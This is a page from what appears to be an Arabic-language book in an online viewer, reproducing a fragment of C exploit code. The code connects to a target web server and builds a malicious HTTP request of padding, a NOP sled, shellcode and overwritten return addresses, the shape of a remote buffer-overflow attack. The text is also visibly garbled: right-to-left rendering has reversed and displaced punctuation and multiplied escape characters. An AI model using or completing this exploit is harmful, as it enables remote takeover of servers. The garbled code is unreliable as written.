Page 303 - بسم الله الرحمن الرحيم
P. 303

;(sock = socket(PF_INET, SOCK_STREAM, 0
                                                       ;sin.sin_family = PF_INET

                                             ;sin.sin_addr.s_addr = ia.s_addr
                                             ;((sin.sin_port = htons(atoi(portp

                                                                          (if(!progress
                                                  ;("\\\ ..printf(\\\"[*] Connecting

                                                                       ;(fflush(stdout
      } (if(connect(sock, (struct sockaddr *) & sin, sizeof(sin)) != 0

                                                          ;("\\\()perror(\\\"connect
                                                                                  ;(exit(1
                                                                                          {

                                                                          (if(!progress
                                                   ;("\\\printf(\\\"connected!\\\\n

p = expbuf = malloc(8192 + ((PADSIZE_3 + NOPCOUNT + 1024) *
                                                                (REP_SHELLCODE

            PADSIZE_1 + (victim.repretaddr * 4) + victim.repzero)) +
                                                ;((REP_POPULATOR * (1024 +

                       PUT_STRING(\\\"GET / HTTP/1.1\\\\r\\\\nHost: \\\"
                                                  ;("\\\HOST_PARAM \\\"\\\\r\\\\n

                                      } (++for (i = 0; i < REP_SHELLCODE; i
                                                          ;("\\\-PUT_STRING(\\\"X

                                   ;(PUT_BYTES(PADSIZE_3, PADDING_3
                                                            ;("\\\ :"\\\)PUT_STRING

                                             ;(PUT_BYTES(NOPCOUNT, NOP
                            ;(memcpy(p, shellcode, sizeof(shellcode) - 1

                                                      ;p += sizeof(shellcode) - 1
                                                    ;("\\\PUT_STRING(\\\"\\\\r\\\\n

                                                                                          {

                                     } (++for (i = 0; i < REP_POPULATOR; i
                                                          ;("\\\-PUT_STRING(\\\"X

                                   ;(PUT_BYTES(PADSIZE_1, PADDING_1
                                                            ;("\\\ :"\\\)PUT_STRING

                                        } (++for (j = 0; j < victim.repretaddr; j
                                                   ;p++ = victim.retaddr & 0xff*

                                          ;p++ = (victim.retaddr >> 8) & 0xff*
                                         ;p++ = (victim.retaddr >> 16) & 0xff*
                                         ;p++ = (victim.retaddr >> 24) & 0xff*

                                                                                          {

                                               ;(PUT_BYTES(victim.repzero, 0
                                                    ;("\\\PUT_STRING(\\\"\\\\r\\\\n
                                                                                          {

                                     303
   298   299   300   301   302   303   304   305   306   307   308